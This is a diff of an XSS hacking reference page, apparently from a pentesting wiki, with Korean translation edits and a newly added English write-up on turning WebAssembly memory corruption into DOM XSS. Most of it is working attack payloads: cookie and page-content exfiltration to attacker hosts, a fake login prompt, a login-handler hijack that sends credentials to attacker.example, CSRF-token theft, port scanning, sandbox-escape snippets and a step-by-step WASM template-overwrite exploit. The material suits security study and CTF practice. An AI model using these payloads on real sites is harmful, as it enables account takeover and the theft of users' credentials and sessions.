|
||||
};
|
||||
|
||||
```
|
||||
### XSS용 Script 타입
|
||||
### XSS에 사용되는 스크립트 타입
|
||||
|
||||
(출처: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그렇다면 어떤 타입들이 script를 로드하도록 지정될 수 있을까?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그렇다면 스크립트를 로드하기 위해 어떤 타입들이 지정될 수 있을까?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
답변은:
|
||||
|
||||
- **module** (기본값, 설명할 필요 없음)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS… 같은 여러 데이터를 하나의 **`.wbn`** 파일로 묶을 수 있는 기능입니다.
|
||||
- **module** (기본값, 설명 불필요)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS… 등 여러 데이터를 하나의 **`.wbn`** 파일로 묶을 수 있는 기능입니다.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -923,7 +931,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** import 구문을 개선할 수 있게 해줍니다.
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** import 구문을 개선할 수 있습니다
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
@ -940,9 +948,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
이 동작은 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 리맵하는 데 사용되었으며, 이를 악용하면 XSS를 유발할 수 있습니다.
|
||||
이 동작은 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 남용하면 XSS를 유발할 수 있음을 보여주기 위해 사용되었습니다.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -967,7 +975,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 목록에는 없지만 CTF에서 본 적이 있는 것 같습니다)
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
@ -975,7 +983,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
페이지가 text/xml content-type으로 반환되는 경우 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
|
||||
페이지가 text/xml content-type을 반환하는 경우 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -985,9 +993,9 @@ import { partition } from "lodash"
|
||||
```
|
||||
### 특수 치환 패턴
|
||||
|
||||
다음과 같은 **`"some {{template}} data".replace("{{template}}", <user_input>)`**가 사용될 때, 공격자는 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)를 사용해 일부 보호장치를 우회하려 시도할 수 있다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
예를 들어 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 같은 코드가 사용될 때, 공격자는 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)을 이용해 일부 보호를 우회하려고 시도할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
예를 들어 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는, 이 방법이 스크립트 내부의 **scape a JSON string**에 사용되어 임의의 코드를 실행하는 데 이용되었다.
|
||||
예를 들어 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는, 이것이 스크립트 안의 **JSON 문자열을 이스케이프**하는 데 사용되어 임의의 코드를 실행했습니다.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -998,7 +1006,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
사용할 수 있는 문자가 제한되어 있다면, XSJail 문제에 대한 다음의 다른 유효한 해결책들을 확인하세요:
|
||||
사용할 수 있는 문자 집합이 제한되어 있다면, XSJail 문제에 대한 다음 다른 유효한 해결책들을 확인하세요:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1029,22 +1037,22 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
만약 신뢰할 수 없는 코드를 실행하기 전에 **모든 것이 undefined**라면 (예: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무에서" 유용한 객체를 생성할 수 있습니다:
|
||||
신뢰할 수 없는 코드를 실행하기 전에 **모든 것이 undefined**라면 (예: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무(無)에서" 유용한 객체를 생성할 수 있다:
|
||||
|
||||
- import()를 사용하여
|
||||
- Using import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 간접적으로 `require`에 접근하기
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 다음과 같이 함수로 래핑됩니다:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 다음과 같이 함수로 감싸집니다:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
따라서, 해당 모듈에서 **다른 함수를 호출할 수 있다면**, 그 함수 내에서 `arguments.callee.caller.arguments[1]`를 사용해 **`require`**에 접근할 수 있습니다:
|
||||
따라서, 해당 모듈에서 우리가 **다른 함수를 호출할 수 있다면**, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1053,7 +1061,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
이전 예제와 유사하게, **use error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻을 수 있다:
|
||||
이전 예와 유사하게, **use error handlers**를 통해 모듈의 **wrapper**에 접근하여 **`require`** 함수를 얻을 수 있습니다:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1093,7 +1101,7 @@ trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **한 페이지에서 다양한 obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **한 페이지에 있는 다양한 obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1272,7 +1280,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS 일반적인 payloads
|
||||
## XSS 일반 payloads
|
||||
|
||||
### 여러 payloads를 하나로
|
||||
|
||||
@ -1283,14 +1291,14 @@ steal-info-js.md
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하도록 유도하고 그의 행동(폼으로 전송된 정보를 포함)을 탈취합니다:
|
||||
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하도록 유도하여 그의 동작(forms에 전송된 정보 포함)을 탈취합니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### 쿠키 가져오기
|
||||
### Cookies 가져오기
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1313,9 +1321,9 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> 쿠키에 HTTPOnly flag가 설정되어 있으면, **JavaScript에서 cookies에 접근할 수 없습니다**. 하지만 운이 좋다면 [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly)이 있습니다.
|
||||
|
||||
### 페이지 콘텐츠 탈취
|
||||
> 쿠키에 HTTPOnly 플래그가 설정되어 있으면 JavaScript에서 **cookies에 접근할 수 없습니다**. 하지만 운이 좋다면 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/index.html#httponly)이 있습니다.
|
||||
|
||||
### 페이지 내용 탈취
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1389,7 +1397,7 @@ q.shift()()
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Port Scanner (websockets)
|
||||
### 포트 스캐너 (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
@ -1404,15 +1412,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_짧은 시간은 응답하는 포트를 나타냅니다_ _긴 시간은 응답하지 않음을 나타냅니다._
|
||||
_짧은 시간은 포트가 응답함을 나타냅니다_ _긴 시간은 응답 없음(응답하지 않음을) 나타냅니다._
|
||||
|
||||
Chrome에서 차단된 포트 목록은 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서, Firefox에서의 목록은 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
|
||||
Chrome에서 차단된 포트 목록은 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하세요. Firefox의 목록은 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
|
||||
|
||||
### 자격 증명 요청 박스
|
||||
### credentials 요청 박스
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### 자동 완성 비밀번호 캡처
|
||||
### 자동 완성 비밀번호 탈취
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1427,9 +1435,7 @@ When any data is introduced in the password field, the username and password is
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
비밀번호 필드에 어떤 데이터라도 입력되면 사용자 이름과 비밀번호가 공격자 서버로 전송됩니다. 클라이언트가 저장된 비밀번호를 선택해 아무것도 입력하지 않아도 자격 증명은 유출됩니다.
|
||||
|
||||
If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
|
||||
페이지에서 중요한 handler(예: `function DoLogin(){...}`)가 나중에 선언되고, payload가 더 일찍 실행되는 경우(예: via an inline JS-in-JS sink), 동일한 이름의 `const`를 먼저 정의하여 handler를 선점하고 잠글 수 있습니다. 이후의 function 선언은 `const` 이름을 재바인딩할 수 없으므로, 당신의 hook이 제어권을 유지하게 됩니다:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1437,19 +1443,19 @@ const user = Trim(FormInput.InputUtente.value);
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
|
||||
};
|
||||
```
|
||||
Notes
|
||||
- 이는 실행 순서에 의존합니다: 인젝션은 정식 선언보다 먼저 실행되어야 합니다.
|
||||
- 페이로드가 `eval(...)`로 감싸여 있으면 `const/let` 바인딩은 전역이 되지 않습니다. 진짜 전역이자 재바인딩 불가능한 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”에 있는 동적 `<script>` 인젝션 기법을 사용하세요.
|
||||
- 키워드 필터가 코드를 차단할 때는 위에서 본 것처럼 유니코드 이스케이프 식별자 또는 `eval(atob('...'))` 전달 방식과 결합하세요.
|
||||
노트
|
||||
- 이것은 실행 순서에 의존합니다: your injection이 정상 선언보다 먼저 실행되어야 합니다.
|
||||
- your payload이 `eval(...)`로 감싸져 있으면 `const/let` 바인딩은 글로벌이 되지 않습니다. 실제 전역(재바인딩 불가능) 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”에 있는 동적 `<script>` injection 기법을 사용하세요.
|
||||
- 키워드 필터가 코드를 차단할 경우, 위에 보여준 것처럼 Unicode-escaped identifiers 또는 `eval(atob('...'))` 전달 방식과 결합하세요.
|
||||
|
||||
### Keylogger
|
||||
|
||||
Just searching in github I found a few different ones:
|
||||
github에서 간단히 검색해보니 몇 가지가 나왔습니다:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- 또한 metasploit의 `http_javascript_keylogger`를 사용할 수 있습니다
|
||||
- 또한 metasploit의 `http_javascript_keylogger`를 사용할 수도 있습니다
|
||||
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
@ -1474,14 +1480,14 @@ window.onmessage = function(e){
|
||||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Service Workers 악용
|
||||
### Abusing Service Workers
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Shadow DOM 접근
|
||||
### Accessing Shadow DOM
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1497,7 +1503,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
|
||||
### Blind XSS payloads
|
||||
|
||||
또한 다음을 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com)
|
||||
다음도 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
@ -1564,7 +1570,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - 숨겨진 콘텐츠 접근
|
||||
|
||||
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, REGEX의 input은 해당 REGEX의 input 값이 제거된 후에도 여전히 찾을 수 있습니다:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)를 통해 알 수 있듯이, 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 찾을 수 있다. 예를 들어, REGEX의 입력값은 해당 입력값이 제거된 이후에도 여전히 찾을 수 있다:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1588,11 +1594,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS를 이용한 다른 취약점 악용
|
||||
## XSS를 이용한 다른 취약점
|
||||
|
||||
### Markdown에서의 XSS
|
||||
|
||||
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS가 발생할 수 있습니다! 확인:
|
||||
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS를 얻을 수 있습니다! 확인:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1601,39 +1607,39 @@ xss-in-markdown.md
|
||||
|
||||
### XSS를 SSRF로
|
||||
|
||||
캐싱을 사용하는 **사이트**에서 XSS를 발견했나요? Edge Side Include Injection을 통해 **그것을 SSRF로 업그레이드**해 보세요. payload는 다음과 같습니다:
|
||||
캐싱을 사용하는 **사이트**에서 XSS를 찾았나요? Edge Side Include Injection을 통해 이걸 **SSRF로 업그레이드**하려면 다음 payload를 시도하세요:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
이를 사용해 cookie 제약, XSS 필터 등을 우회하고 그 이상을 할 수 있습니다!\
|
||||
이를 사용하여 cookie 제한, XSS 필터 등을 우회할 수 있습니다!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### 동적으로 생성된 PDF에서의 XSS
|
||||
### XSS in dynamic created PDF
|
||||
|
||||
웹 페이지가 사용자 제어 입력으로 PDF를 생성하는 경우, PDF를 생성하는 **bot**을 속여 임의의 **JS 코드**를 **실행**하게 만들 수 있습니다.\
|
||||
따라서 **PDF creator bot**이 어떤 종류의 **HTML** **태그**를 발견하면 이를 **해석**하게 되고, 이 동작을 **악용**해 **Server XSS**를 발생시킬 수 있습니다.
|
||||
웹 페이지가 사용자 제어 입력을 사용해 PDF를 생성한다면, PDF를 생성하는 **봇을 속여** **임의의 JS 코드를 실행**하게 만들 수 있습니다.\
|
||||
따라서 **PDF 생성 봇이** 어떤 종류의 **HTML 태그**를 발견하면 이를 **해석**하게 되고, 이 동작을 **악용**해 **서버 XSS**를 일으킬 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
HTML 태그를 주입할 수 없다면 **inject PDF data**를 시도해볼 가치가 있습니다:
|
||||
HTML 태그를 주입할 수 없다면 **PDF 데이터 주입**을 시도해 볼 가치가 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### Amp4Email에서의 XSS
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하는 것을 목표로 하며, 속도와 보안을 강조하면서 JavaScript로 보완된 HTML 태그를 포함합니다. 다양한 기능을 제공하는 여러 컴포넌트를 지원하며, [AMP components](https://amp.dev/documentation/components/?format=websites)에서 확인할 수 있습니다.
|
||||
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하는 것을 목표로 하며, 속도와 보안을 중시하면서 JavaScript로 보완된 HTML 태그를 통합합니다. 다양한 기능을 위한 여러 구성요소를 지원하며, 이는 [AMP components](https://amp.dev/documentation/components/?format=websites)에서 확인할 수 있습니다.
|
||||
|
||||
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
|
||||
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있게 합니다.
|
||||
|
||||
예시 [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS 파일 업로드 (svg)
|
||||
### XSS uploading files (svg)
|
||||
|
||||
다음과 같은 파일을 이미지로 업로드하세요 (출처: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
@ -1691,9 +1697,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
더 많은 **SVG payloads**는 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 확인하세요
|
||||
다음에서 **더 많은 SVG payloads를 확인하세요** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## 기타 JS 트릭 & 관련 정보
|
||||
## 기타 JS 트릭 및 관련 정보
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -0,0 +1,133 @@
|
||||
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.
|
||||
|
||||
Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
|
||||
|
||||
Threat model and preconditions
|
||||
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
|
||||
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
|
||||
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
|
||||
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
|
||||
|
||||
Minimal vulnerable data model (example)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
취약한 로직 패턴
|
||||
- addMsg(): sanitized input 크기에 맞는 새 버퍼를 할당하고 s.mess에 msg를 추가하며, 필요할 때 realloc으로 용량을 두 배로 늘림.
|
||||
- editMsg(): re-sanitizes하고 memcpy’s로 새 바이트를 기존 버퍼에 복사하지만 new length ≤ old allocation을 보장하지 않아 intra-linear-memory heap overflow가 발생함.
|
||||
- populateMsgHTML(): sanitized text를 "<article><p>%.*s</p></article>" 같은 baked stub으로 포맷하여 linear memory에 위치시킨다. 반환된 HTML은 DOM sink(예: innerHTML)에 도달한다.
|
||||
|
||||
Allocator grooming with realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- 초기 용량을 초과할 만큼 충분한 메시지를 보낸다. 용량이 증가한 뒤 realloc()는 종종 s->mess를 linear memory에서 마지막 사용자 버퍼 바로 다음에 배치한다.
|
||||
- editMsg()로 마지막 메시지를 오버플로우시켜 s->mess 내부의 필드를 덮어쓴다(예: msg_data 포인터를 덮어쓰기) → 이후 렌더링될 데이터에 대해 linear memory 내 임의 포인터 재작성.
|
||||
|
||||
Exploit pivot: sanitized source 대신 HTML template (sink)을 덮어쓴다
|
||||
- Sanitization은 입력을 보호할 뿐, sink는 보호하지 않는다. populateMsgHTML()에서 사용되는 format stub을 찾아라, 예:
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- linear memory를 스캔해서 그 stub을 결정론적으로 찾아라; 그것은 Module.HEAPU8 안의 평문 바이트 문자열이다.
|
||||
- stub을 덮어쓴 후, sanitized 메시지 내용은 onerror의 JavaScript 핸들러가 된다. 따라서 alert(1337) 같은 텍스트로 새 메시지를 추가하면 <img src=1 onerror=alert(1337)>가 생성되어 DOM에서 즉시 실행된다.
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- JS glue의 첫 Module.cwrap 호출에 브레이크한 다음 wasm 호출 지점으로 step into하여 포인터 인수(숫자형 linear memory 오프셋)를 캡처한다.
|
||||
- 콘솔에서 WASM 메모리를 읽고 쓰기 위해 Module.HEAPU8 같은 typed views를 사용한다.
|
||||
- 도움이 되는 스니펫:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
End-to-end exploitation recipe
|
||||
1) Groom: N개의 작은 메시지를 추가하여 realloc()을 트리거합니다. s->mess가 user buffer에 인접하도록 하세요.
|
||||
2) Overflow: 마지막 메시지에 대해 editMsg()를 호출해 더 긴 페이로드로 s->mess의 엔트리를 덮어쓰고, message 0의 msg_data를 (stub_addr + 1)을 가리키도록 설정합니다. +1은 다음 편집 동안 선행 '<'를 건너뛰어 태그 정렬을 유지합니다.
|
||||
3) Template rewrite: message 0을 편집하여 그 바이트가 템플릿을 다음 내용으로 덮어쓰게 합니다: "img src=1 onerror=%.*s ".
|
||||
4) Trigger XSS: sanitized content가 JavaScript가 되도록 새 메시지를 추가하세요(예: alert(1337)). 렌더링은 <img src=1 onerror=alert(1337)>를 출력하고 실행됩니다.
|
||||
|
||||
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
